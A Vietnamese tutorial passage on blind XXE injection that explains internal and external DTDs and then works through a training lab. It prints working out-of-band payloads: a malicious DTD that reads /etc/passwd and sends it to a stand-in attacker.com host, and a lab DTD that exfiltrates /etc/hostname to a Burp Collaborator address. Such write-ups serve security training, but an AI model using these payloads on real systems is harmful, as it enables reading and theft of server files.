+1

XXE injection vulnerabilities - Lỗ hổng XML (Phần 4)

II. Phân tích và khai thác các lỗ hổng XXE injection (tiếp)

5. Khai thác lỗ hổng Blind XXE injection bằng phương pháp truy xuất dữ liệu out-of-band

Ở các mục trước chúng ta đã được giới thiệu và nhận biết lỗ hổng Blind XXE injection. Tất nhiên kẻ tấn công sẽ không muốn chỉ dừng lại ở mức kiểm tra được vị trí xảy ra lỗ hổng XXE dạng blind. Họ luôn tìm kiếm cách truy xuất các dữ liệu nhạy cảm. Do tính chất blind, nên chúng ta thường sử dụng các phương pháp "gián tiếp" để đọc được các tệp dữ liệu trong server.

XML DTD là viết tắt của XML Document Type Definition. Đây là một tệp tin định nghĩa cấu trúc, kiểu dữ liệu các phần tử và thuộc tính trong một tài liệu XML.

image.png

22 dạng DTD thường được sử dụng:

  • Internal DTD được khai báo trong chính file XML tương ứng:
<!DOCTYPE root-element [element-declarations]>

Ví dụ:

<?xml version="1.0"?>
// Khai báo internal DTD
<!DOCTYPE note [
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
]>
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget
</note>

  • External DTD: Khai báo nội dung trong một tệp tin .dtd sẽ được tham chiếu tới sau đó.

Trong các cuộc tấn công XXE injection, kẻ tấn công thường định nghĩa một external DTD, sau đó gọi tham chiếu tới chúng tại payload gửi tới server, sau đó thực hiện truy xuất và hiển thị nội dung dữ liệu nhạy cảm tới một điểm đích do kẻ tấn công sở hữu.

Ví dụ, kẻ tấn công host một trang web public có chứa một external DTD file có URL http://attacker.com/malicious.dtd có nội dung như sau:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

Tệp tin DTD này thực hiện các bước hoạt động như sau:

  • Định nghĩa một parameter entity với tên file có giá trị là nội dung tệp /etc/passwd
  • Định nghĩa một entity với tên eval, trong entity này chứa một định nghĩa parameter entity khác với tên exfiltrate sẽ gửi request tới website của attacker http://attacker.com/, truyền tham số x chứa nội dung tệp /etc/passwd bằng cách gọi tham chiếu entity %file;
  • Gọi tham chiếu entity %eval chứa định nghĩa entity exfiltrate
  • Gọi tham chiếu entity %exfiltrate;.

Trong đó, chúng ta có một số lưu ý:

  • &#x25; là định dạng HTML encode của ký tự % do được chứa trong một định nghĩa parameter entity khác.
  • Các định nghĩa parameter entity cần được gọi tham chiếu mới có thể hoạt động. Như trong ví dụ file DTD trên gọi tham chiếu %eval;, để định nghĩa về entity eval hoạt động thì cần gọi thêm tham chiếu %exfiltrate;, trong định nghĩa của entity exfiltrate đã chứa việc gọi tham chiếu %file;

Ví dụ tệp DTD này được deploy tại URL public:

http://attacker.com/malicious.dtd

Cuối cùng, kẻ tấn công định nghĩa một parameter entity, gửi payload tới server chứa lỗ hổng Blind XXE

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://attacker.com/malicious.dtd"> %xxe;]>

Server truy cập tới file DTD được chỉ định trong server attacker và thực hiện các bước được khai báo. Từ đó server attacker nhận được nội dung tệp tin mong muốn.

Và cần lưu ý rằng, kỹ thuật trên có thể không hoạt động với một số nội dung trong các tệp tin (chẳng hạn ký tự xuống dòng trong /etc/passwd). Một trong những khắc phục là sử dụng giao thức FTP thay thế cho HTTP.

Phân tích lab Exploiting blind XXE to exfiltrate data using a malicious external DTD

image.png

Miêu tả: Chức năng "Check stock" của trang web phân tích cú pháp dữ liệu XML nhưng không trả về bất kỳ kết quả nào trong giao diện. Để hoàn thành bài lab, chúng ta cần truy xuất dữ liệu tệp /etc/hostname và submit giá trị hostname. Lưu ý rằng với các external DTD chỉ có thể deploy trên exploit server được cung cấp bởi bài lab và Burp Collaborator server.

Quan sát request khi sử dụng chức năng "Check stock" của trang web:

image.png

Ký tự & không được phép sử dụng nên chúng ta không thể định nghĩa các entities thông thường:

image.png

image.png

Có thể sử dụng parameter entity thay thế, payload kiểm tra DNS lookup với Burp Collaborator Client:

<!DOCTYPE abc [ <!ENTITY % xxe SYSTEM "http://b6iu3bxnzgli3bu11nxef0ehe8k08p.oastify.com"> %xxe; ]>

image.png

image.png

Dự đoán trang web chứa lỗ hổng Blind XXE injection tại chức năng Stock check. Chúng ta sẽ xây dựng một file DTD thực hiện các bước truy xuất nội dung tệp tin /etc/hostname hiển thị tại exploit server được cung cấp.

Định nghĩa một parameter entity với tên file có giá trị là nội dung tệp tin /etc/hostname

<!DOCTYPE % file SYSTEM "file:///etc/hostname">

Định nghĩa một entity với tên exploit chứa một định nghĩa khác parameter entity với tên retrieve truy cập tới Burp Collaborator và gửi tham số data với tham chiếu %file;

<!ENTITY % exploit "<!ENTITY &#x25; retrieve SYSTEM 'http://acqt9a3m5frh9a007m3dlzkgk7q0ep.oastify.com/?data=%file;'>">

Gọi các tham chiếu %exploit;, %retrieve;, cuối cùng chúng ta có nội dung file external DTD đầy đủ:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % exploit "<!ENTITY &#x25; retrieve SYSTEM 'https://acqt9a3m5frh9a007m3dlzkgk7q0ep.oastify.com/?data=%file;'>">
%exploit;
%retrieve;

Nội dung tệp DTD này được lưu tại /exploit.dtd

image.png

image.png

Và hiện giờ chúng ta chỉ cần khiến server victim gọi tới tệp DTD này. Định nghĩa một parameter entity như sau:

<!DOCTYPE viblo [<!ENTITY % xxe SYSTEM
"https://exploit-0a25005a0492c7f8c0870ffc01880017.exploit-server.net/exploit.dtd"> %xxe;]>

image.png

Sau khi gửi request, server truy cập tới external DTD file do chúng ta tạo và thực hiện các bước theo yêu cầu. Kiểm tra log:

image.png

Ngoài ra chúng ta cũng có thể xuất nội dung tệp /etc/hostname tại chính exploit server được bài lab cung cấp:

image.png

image.png

Submit hostname d428ac8865ab và hoàn thành bài lab:

image.png

image.png

Các tài liệu tham khảo


©️ Tác giả: Lê Ngọc Hoa từ Viblo


All rights reserved

Viblo
Hãy đăng ký một tài khoản Viblo để nhận được nhiều bài viết thú vị hơn.
Đăng kí